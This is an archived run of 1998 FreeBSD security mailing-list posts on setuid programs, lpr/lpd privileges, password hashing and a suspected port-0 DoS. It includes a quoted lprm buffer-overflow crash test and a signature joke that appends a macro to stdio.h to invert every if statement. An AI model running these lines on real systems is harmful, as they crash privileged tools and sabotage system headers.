the package and install stuff for 3.0-RELEASE. Perhaps he will modularise the base system a bit? Niall ./ -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 15:28:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA10569 for freebsd-security-outgoing; Mon, 20 Apr 1998 15:28:22 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-56.waterford.indigo.ie [194.125.139.119]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA10057 for ; Mon, 20 Apr 1998 22:25:44 GMT (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id XAA01129; Mon, 20 Apr 1998 23:23:00 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804202223.XAA01129@indigo.ie> Date: Mon, 20 Apr 1998 23:23:00 +0000 In-Reply-To: Karl Denninger "Re: suid/sgid programs" (Apr 19, 7:18pm) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Karl Denninger , Marc Slemko Subject: Re: suid/sgid programs Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Apr 19, 7:18pm, Karl Denninger wrote: } Subject: Re: suid/sgid programs > On Sun, Apr 19, 1998 at 12:25:40PM -0600, Marc Slemko wrote: > > On Sun, 19 Apr 1998, Karl Denninger wrote: > > > > Erm... but if someone wants to see what ccds are configured, they don't > > need to be root and shouldn't. > > > > Same thing with netstat, etc. > > Fine. Anyone who wants to do that can make them SGID kmem or as otherwise > appropriate. For the vast majority this is unnecessary. Even setting them setgid kmem is unnecessary, just setup a cronjob to periodically run ccdconfig > /var/config/ccd. The ability to do this kind of thing is just another reason why the argument for keeping them set[ug]id is such a crock. > (BTW, making something SGID kmem only allows READ access to kmem. Making > something SUID root gives it READ and WRITE access to anything, including > kernel and user memory along with all devices (assuming the securelevel is > set to -1)). Read access to kmem will translate into root for someone clueful enough eventually for example, through watching the (t|p)ty driver's buffers (difficult!) Niall -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 15:29:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA10808 for freebsd-security-outgoing; Mon, 20 Apr 1998 15:29:30 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-56.waterford.indigo.ie [194.125.139.119]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA10634 for ; Mon, 20 Apr 1998 22:28:36 GMT (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id XAA01146; Mon, 20 Apr 1998 23:25:24 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804202225.XAA01146@indigo.ie> Date: Mon, 20 Apr 1998 23:25:23 +0000 In-Reply-To: Peter Jeremy "Re: suid/sgid programs" (Apr 20, 10:00am) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Peter Jeremy , freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Apr 20, 10:00am, Peter Jeremy wrote: } Subject: Re: suid/sgid programs > On Mon, 20 Apr 1998 00:09:43 +0000, Niall Smart wrote: > > lpd can be root.wheel 770 and immediately > >setuid to "lp" after opening the socket. > > This means that lpd may not be able to read the user's file. Either > lpr has to always copy the file to be printed (which is slow and may > mean lots of spool space), or you can only print world-readable files. The default action of lpr is to make a copy of the file, and I don't believe the price for losing -s capability is such a bad thing to pay for less setuid binaries, especially since most folk don't know about it, and those that do can write a script to temporarily remove read access from the current directory and rename file file to something unguessable. I know this isn't ideal, but its not a bad tradeoff IMO. Niall -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 15:31:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA11413 for freebsd-security-outgoing; Mon, 20 Apr 1998 15:31:24 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-56.waterford.indigo.ie [194.125.139.119]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA11121 for ; Mon, 20 Apr 1998 22:30:23 GMT (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id XAA01159 for freebsd-security@FreeBSD.ORG; Mon, 20 Apr 1998 23:28:43 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804202228.XAA01159@indigo.ie> Date: Mon, 20 Apr 1998 23:28:42 +0000 In-Reply-To: woods@zeus.leitch.com (Greg A. Woods) "Re: suid/sgid programs" (Apr 20, 12:04pm) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Apr 20, 12:04pm, Greg A. Woods wrote: } Subject: Re: suid/sgid programs > [ On Sun, April 19, 1998 at 20:39:48 (+0000), Niall Smart wrote: ] > > Subject: Re: suid/sgid programs > > > > So you want an extra sgid kmem utility just because you like your curious > > users to be able to see what your ccd configuration is? How useful is > > that? Not very. Do it locally if you really must. > > That's bad advice for a general audience. Only a systems programmer who > is extremely familiar with the rules for writing SUID code, and who can > analyze the code in question and check for possible security problems, > should ever even think of adding SUID to an existing binary. > Alternately a SUID-code experienced systems programmer might instead > derive a program from the utility in question that only generates > reports. Absolutely, I didn't mean to give the impression that you should arbitrarily go round setuid'ing things to make your system "easier to use" :) > On the other hand, for ccdconfig itself, if we assume the code was > designed and written with the view that it would normally be SUID, then > there's no reason why we should distrust it any more than anything > else. Heh, I would sincerely hope that *all* set[ug]id programs are designed and programmed with the fact that they are such in mind. That doesn't seem to stop the exploits though, does it? :) Niall -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 15:44:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA14796 for freebsd-security-outgoing; Mon, 20 Apr 1998 15:44:25 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from sophie.bolix.com (sophie.bolix.com [209.107.35.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA14608 for ; Mon, 20 Apr 1998 22:43:42 GMT (envelope-from imp@pencil-box.village.org) Received: from pencil-box.village.org (tape-box [209.107.35.22]) by sophie.bolix.com (8.8.6/8.8.6) with ESMTP id QAA14467; Mon, 20 Apr 1998 16:43:22 -0600 (MDT) Received: from pencil-box.village.org (localhost [127.0.0.1]) by pencil-box.village.org (8.8.8/8.8.3) with ESMTP id QAA06601; Mon, 20 Apr 1998 16:42:20 -0600 (MDT) Message-Id: <199804202242.QAA06601@pencil-box.village.org> To: Robert Watson Subject: Re: Nasty security hole in "lprm" (fwd) Cc: freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Mon, 20 Apr 1998 13:57:42 EDT." References: Date: Mon, 20 Apr 1998 16:42:20 -0600 From: "M. Warner Losh" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk In message Robert Watson writes: : Do we got this one? I don't think so. I recall merging a fix for something like this from OpenBSD. It doesn't core dump for me. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 16:07:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA20135 for freebsd-security-outgoing; Mon, 20 Apr 1998 16:07:21 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA20057 for ; Mon, 20 Apr 1998 23:06:55 GMT (envelope-from marcs@znep.com) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.7/8.8.7) with UUCP id RAA17994; Mon, 20 Apr 1998 17:06:37 -0600 (MDT) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id RAA29148; Mon, 20 Apr 1998 17:06:44 -0600 (MDT) Date: Mon, 20 Apr 1998 17:06:44 -0600 (MDT) From: Marc Slemko To: Niall Smart cc: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs In-Reply-To: <199804202201.XAA00941@indigo.ie> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Mon, 20 Apr 1998, Niall Smart wrote: > On Apr 19, 6:25pm, Marc Slemko wrote: > } Subject: Re: suid/sgid programs > > On Mon, 20 Apr 1998, Niall Smart wrote: > > > > > > > But if someone can break the uid that lpr runs as then they can probably > > > > > > break root anyway. > > > > > > > > > > How? > > > > > > > > Because they then have full access to the queue directory that lpd reads > > > > from and lpd does run as root so it can access the files people want to > > > > print. > > > > > > lpr can be setuid "lp" so that it can write to the print spool > > > directory, it has access to the file the user wants to print because > > > that is it's real uid. lpd can be root.wheel 770 and immediately > > > setuid to "lp" after opening the socket. (Or you could just disable > > > this silly priveledged socket scheme) > > > > Not unless you are willing to lose "lpr -s" and the ability to print to > > remote printers. > > lpr hands print jobs for remote printers off to lpd, so it doesn't > need to be setuid. lpd accepts connections from any port number, > so the sending lpd doesn't have to stay root so it can open > connections to remote printers from a privledged port. FreeBSD lpd may accept such connections, others don't. > > Yes, you lose the ability to lpr -s but security comes at a price, > and this is a small price IMO. Many people don't even know about > lpr -s, especially the twits with 16Mb of 32-bit color images > embedded in their print jobs. > > > "this silly privileged socket scheme" may be silly but throwing it out > > without replacing it isn't the answer. > > The replacements, cryptography and credential passing over UNIX > domain sockets, are ready and willing! First, that isn't being advocated here. What is being advocated is saying that "oh, it can do everything just as well as some other user so just make it do the same thing as some other user." Second, life isn't as easy as that. Trying to put cryptography in the base code of any freely available program is difficult, especially in the US, and can seriously limit exportability, usability and compatibility. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 16:15:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA21569 for freebsd-security-outgoing; Mon, 20 Apr 1998 16:15:02 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ptialaska.net (husky.ptialaska.net [198.70.245.245]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA21488 for ; Mon, 20 Apr 1998 23:14:28 GMT (envelope-from pstern@icefog.polarnet.com) From: pstern@icefog.polarnet.com Received: from icefog.polarnet.com (pstern@icefog.polarnet.com [204.119.24.13]) by ptialaska.net (8.8.8/8.8.8) with SMTP id PAA22404 for ; Mon, 20 Apr 1998 15:14:02 -0800 (AKDT) Date: Mon, 20 Apr 1998 15:14:01 -0800 (AKDT) Reply-To: pstern@icefog.polarnet.com To: freebsd-security@FreeBSD.ORG Subject: subscribe Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk subscribe freebsd-security To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 17:44:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA10087 for freebsd-security-outgoing; Mon, 20 Apr 1998 17:44:48 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA09990 for ; Tue, 21 Apr 1998 00:44:24 GMT (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.8/8.8.8) with ESMTP id RAA24905; Mon, 20 Apr 1998 17:43:16 -0700 (PDT) (envelope-from jkh@time.cdrom.com) To: Penisoara Adrian cc: freebsd-security@FreeBSD.ORG Subject: Re: Controlling MD5/DES use for passwd - Resumee In-reply-to: Your message of "Mon, 20 Apr 1998 20:22:51 +0300." Date: Mon, 20 Apr 1998 17:43:13 -0700 Message-ID: <24894.893119393@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk [removed gratuituous cross-post to freebsd-bugs] > Another option would be introducing an /etc/passwd.conf file. Which is exactly what OpenBSD has done. You might take a look at their repository. Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 17:47:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA10707 for freebsd-security-outgoing; Mon, 20 Apr 1998 17:47:30 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA10536 for ; Tue, 21 Apr 1998 00:46:37 GMT (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.8/8.8.8) with ESMTP id RAA28075; Mon, 20 Apr 1998 17:45:27 -0700 (PDT) (envelope-from jkh@time.cdrom.com) To: Peter Wemm cc: Mark Murray , Wes Peters , Penisoara Adrian , freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-reply-to: Your message of "Mon, 20 Apr 1998 21:24:27 +0800." <199804201324.VAA04518@spinner.netplex.com.au> Date: Mon, 20 Apr 1998 17:45:26 -0700 Message-ID: <28067.893119526@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > However, the thought of having ld.so on / and a dynamic sh and init seems > to make some people break out into a cold sweat... Damn the torpedos! Full speed ahead! ;-) Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 22:34:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA00421 for freebsd-security-outgoing; Mon, 20 Apr 1998 22:34:06 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from lms.ru (folco.lms.ru [193.125.142.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA00352 for ; Tue, 21 Apr 1998 05:33:52 GMT (envelope-from mt@folco.lms.ru) Received: from folco.lms.ru (localhost [127.0.0.1]) by lms.ru (8.8.7/8.8.7) with ESMTP id JAA02644 for ; Tue, 21 Apr 1998 09:33:37 +0400 (MSD) (envelope-from mt@folco.lms.ru) Message-Id: <199804210533.JAA02644@lms.ru> To: freebsd-security@FreeBSD.ORG Subject: New DoS attack? Date: Tue, 21 Apr 1998 09:33:37 +0400 From: "Alexander B. Povolotsky" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Strangely, I've posted this message TWICE, but still don't see it... I'm reposting it from different address. During last months, I've experienced several STRANGE hangs. TCP stack worked OK, while nothing else did. I thought of poor hardware, instable snap, everything else. Several days ago, I've heard _rumor_ of DoS attack on BSD stack, based on TCP packet sent to or maybe from port 0. I've installed ipfw rule: drop log tcp from any 0 to any and today I've found two packets destined from 200.255.209.92 port 0 dropped. They were destined to port 143 (imap), while I'm 101% sure that no one from mi-rj52.montreal.com.br have any mail account on my box. This information IS sparse, I understand... I'll have to gain more information on this, but maybe someone has experienced same troubles? Alex. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 23:38:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA08404 for freebsd-security-outgoing; Mon, 20 Apr 1998 23:38:47 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns2.inch.com (ns2.inch.com [207.240.140.102]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA08398 for ; Tue, 21 Apr 1998 06:38:44 GMT (envelope-from spork@super-g.com) Received: from super-g.inch.com (super-g.com [207.240.140.161]) by ns2.inch.com (8.8.8/8.8.5) with ESMTP id CAA00673 for ; Tue, 21 Apr 1998 02:30:17 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by super-g.inch.com (8.8.8/8.8.5) with SMTP id CAA23867; Tue, 21 Apr 1998 02:27:42 -0400 (EDT) Date: Tue, 21 Apr 1998 02:27:42 -0400 (EDT) From: spork X-Sender: spork@super-g.inch.com To: "Alexander B. Povolotsky" cc: freebsd-security@FreeBSD.ORG Subject: Re: New DoS attack? In-Reply-To: <199804210533.JAA02644@lms.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Interesting, I'm logging alot of imap requests as well, but none from strange ports... Perhaps it's just someone looking for the old imap bug? Charles Sprickman spork@super-g.com ---- "I'm not a prophet or a stone-age man Just a mortal with potential of a superman I'm living on" -DB On Tue, 21 Apr 1998, Alexander B. Povolotsky wrote: > Strangely, I've posted this message TWICE, but still don't see it... > > I'm reposting it from different address. > > During last months, I've experienced several STRANGE hangs. TCP stack worked > OK, while nothing else did. I thought of poor hardware, instable snap, > everything else. > > Several days ago, I've heard _rumor_ of DoS attack on BSD stack, based on TCP > packet sent to or maybe from port 0. I've installed ipfw rule: > > drop log tcp from any 0 to any > > and today I've found two packets destined from 200.255.209.92 port 0 dropped. > They were destined to port 143 (imap), while I'm 101% sure that no one from > mi-rj52.montreal.com.br have any mail account on my box. > > This information IS sparse, I understand... I'll have to gain more information > on this, but maybe someone has experienced same troubles? > > Alex. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 01:13:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA20841 for freebsd-security-outgoing; Tue, 21 Apr 1998 01:13:04 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from axis1.axis.de ([194.163.241.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA20828 for ; Tue, 21 Apr 1998 08:12:59 GMT (envelope-from sturm@axis.de) Received: from viruswall.axis.de (vscanreal.axis.de [195.180.213.22]) by axis1.axis.de (8.8.8/8.8.8) with SMTP id KAA05175; Tue, 21 Apr 1998 10:12:56 +0200 (CEST) Received: from 194.163.241.15 by viruswall.axis.de (InterScan E-Mail VirusWall NT) Received: from hermes.axis.de (hermes.axis.de [194.163.241.7]) by syslog.axis.de (8.8.8/8.8.8) with SMTP id KAA22216; Tue, 21 Apr 1998 10:12:55 +0200 (CEST) Message-ID: <353C5507.10EC7523@axis.de> Received: from fireball.axis.de by hermes.axis.de via smtpd (for syslog.axis.de [194.163.241.15]) with SMTP; 21 Apr 1998 08:12:55 UT Date: Tue, 21 Apr 1998 10:12:55 +0200 From: Torsten Sturm Reply-To: sturm@axis.de Organization: AXIS information systems GmbH, Security Services Department X-Mailer: Mozilla 4.05 [en] (WinNT; I) MIME-Version: 1.0 To: "Alexander B. Povolotsky" CC: freebsd-security@FreeBSD.ORG Subject: Re: New DoS attack? References: <199804210533.JAA02644@lms.ru> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Alexander B. Povolotsky wrote: > Several days ago, I've heard _rumor_ of DoS attack on BSD stack, based on TCP > packet sent to or maybe from port 0. I've installed ipfw rule: Last night, we also noticed many connection reqests for Port 143 originating from port 0, done in a scanning style... Maybe it is from this new impack103.tar.gz from rootshell.com... HTH Torsten Sturm To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 02:26:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA29531 for freebsd-security-outgoing; Tue, 21 Apr 1998 02:26:36 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from bagira.fsz.bme.hu (mohacsi@bagira.fsz.bme.hu [152.66.76.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA29445 for ; Tue, 21 Apr 1998 09:24:48 GMT (envelope-from mohacsi@bagira.fsz.bme.hu) Received: from localhost (mohacsi@localhost) by bagira.fsz.bme.hu (8.9.0.Beta5/8.9.0.Beta3+BME-IIT) with SMTP id LAA05169; Tue, 21 Apr 1998 11:22:28 +0200 (MET DST) Date: Tue, 21 Apr 1998 11:22:27 +0200 (MET DST) From: Janos Mohacsi To: "Jordan K. Hubbard" cc: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-Reply-To: <29805.893026136@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, 19 Apr 1998, Jordan K. Hubbard wrote: > Date: Sun, 19 Apr 1998 15:48:56 -0700 > From: "Jordan K. Hubbard" > To: Penisoara Adrian > Cc: freebsd-security@FreeBSD.ORG > Subject: Re: Using MD5 insted of DES for passwd ecnryption > > > How can one control which kind of encryption is to be used by the > > system for password encryption ? For example I want to use only MD5 > > I've often wondered that myself and I'll be interested to hear the > answer. :) I suspect the answer is, however, "you can't do that" > and that we need some sort of /etc/passwd.conf (ducks :-). I don't think that should be invented a new password config file as in OpenBSD. We already have a general config file: /etc/login.conf. Two new field should be added: localcipher, ypcipher. And should be integrated the new FreeSEC??? (bye the way where it is available?) for the blowfish encryption too. Is anybody to add it into the current lib tree? Sincerely, Janos Mohacsi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 02:56:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA05268 for freebsd-security-outgoing; Tue, 21 Apr 1998 02:56:22 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from bagira.fsz.bme.hu (bagira.fsz.bme.hu [152.66.76.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA05146; Tue, 21 Apr 1998 09:55:28 GMT (envelope-from mohacsi@bagira.fsz.bme.hu) Received: from localhost (mohacsi@localhost) by bagira.fsz.bme.hu (8.9.0.Beta5/8.9.0.Beta3+BME-IIT) with SMTP id KAA04988; Tue, 21 Apr 1998 10:53:44 +0200 (MET DST) Date: Tue, 21 Apr 1998 10:53:42 +0200 (MET DST) From: Janos Mohacsi Reply-To: Janos Mohacsi To: freebsd-security@FreeBSD.ORG cc: stable@FreeBSD.ORG Subject: Re: kernel permissions In-Reply-To: <199804171615.MAA11623@khavrinen.lcs.mit.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Fri, 17 Apr 1998, Garrett Wollman wrote: > Date: Fri, 17 Apr 1998 12:15:57 -0400 (EDT) > From: Garrett Wollman > To: "Jordan K. Hubbard" > Cc: Johan Allard , > Robert Watson , > Dima Ruban , Matthew Hunt , > stable@FreeBSD.ORG, freebsd-security@FreeBSD.ORG > Subject: Re: kernel permissions > > < said: > > >> On the whish list I would like to add support for IPsec. It must be > > The WIDE project folks have already implemented both IPsec and > > IPv6 - we just need to incorporate their stuff without hopefully > > pissing off any of the 1,473 different other IPv6 implementors out > > there .: -) > > If we could just get the WIDE people and the INRIA people (and the NRL > people) to all coalesce around a single solution, we'd have a clear > winner. According to our test the most stable IPv6 implementation is the INRIA IPv6 (The result of our test will due to published in TERENA Networking Conference '98). Althought it does not contain either DES or other cryptographic software all the hooks in the kernel are available to fill out. (The necessary code is available from http://www.ipv6.ticl.co.uk/devpv6.htm ). Unfortunately IPsec is not available for IPv4 in the INRIA implementation. Compiling the WIDE implementation is quite hard because of misnamed structure fields, etc. And the kernels dumps core sometimes... The most important argument against the WIDE IPv6 (for me) that the applications are not so tightly integrated to the system as in the INRIA. The solutions would be the import INRIA IPv6 code and integrate WIDE or ticl IPSec (with addition photurisd from OpenBSD and ISA KMP/Oakley). Sincerely, Janos Mohacsi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 04:12:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA15031 for freebsd-security-outgoing; Tue, 21 Apr 1998 04:12:50 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA15025 for ; Tue, 21 Apr 1998 11:12:42 GMT (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.8.8/frmug-2.2/nospam) with UUCP id NAA09395 for freebsd-security@FreeBSD.ORG; Tue, 21 Apr 1998 13:12:38 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: (from roberto@localhost) by keltia.freenix.fr (8.9.0.Beta4/keltia-2.14/nospam) id MAA01868; Tue, 21 Apr 1998 12:49:54 +0200 (CEST) (envelope-from roberto) Message-ID: <19980421124954.A1797@keltia.freenix.fr> Date: Tue, 21 Apr 1998 12:49:54 +0200 From: Ollivier Robert To: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption Mail-Followup-To: freebsd-security@FreeBSD.ORG References: <199804200814.KAA09666@greenpeace.grondar.za> <199804201324.VAA04518@spinner.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91i In-Reply-To: <199804201324.VAA04518@spinner.netplex.com.au>; from Peter Wemm on Mon, Apr 20, 1998 at 09:24:27PM +0800 X-Operating-System: FreeBSD 3.0-CURRENT ctm#4213 AMD-K6 MMX @ 225 MHz Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk According to Peter Wemm: > However, the thought of having ld.so on / and a dynamic sh and init seems > to make some people break out into a cold sweat... We could have ld.So on / and still have a static sh/init to boot with. One argument against dynamic bin (it is probably less an issue for /sbin) is that running multiple copies of binaries from /bin will be way slower and eat more memory -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 3.0-CURRENT #3: Tue Apr 14 21:41:01 CEST 1998 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 04:20:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA16578 for freebsd-security-outgoing; Tue, 21 Apr 1998 04:20:15 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from kamna.eunet.cz (kamna.eunet.cz [193.85.255.30]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id LAA16112 for ; Tue, 21 Apr 1998 11:17:03 GMT (envelope-from martin@eunet.cz) Message-Id: <199804211117.LAA16112@hub.freebsd.org> Received: (qmail 9721 invoked from network); 21 Apr 1998 11:16:20 -0000 Received: from woody.eunet.cz (HELO eunet.cz) (@193.85.255.60) by kamna.eunet.cz with SMTP; 21 Apr 1998 11:16:20 -0000 X-Mailer: exmh version 2.0.2 2/24/98 To: freebsd-security@FreeBSD.ORG Subject: Re: Nasty security hole in "lprm" (fwd) In-reply-to: Your message of "Mon, 20 Apr 1998 13:57:42 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 21 Apr 1998 13:16:19 +0200 From: Martin Machacek Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > > Do we got this one? > > lprm -Psome_remote `perl -e 'print "a" x 2000'` > Segmentation fault Seems, that at least FreeBSD-3.0 is safe. I've tried it in tcsh, csh, bash an sh and I've got either: : lpd: Command line too long or Word too long. The ultimate check is to look into code, of course ... -- Martin Machacek [Internet CZ, Zirovnicka 6/3133, 106 00 Prague 10, Czech Republic] [phone: +420 2 71760337 fax: +420 2 24245125] [PGP KeyID 00F9E4BD] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From 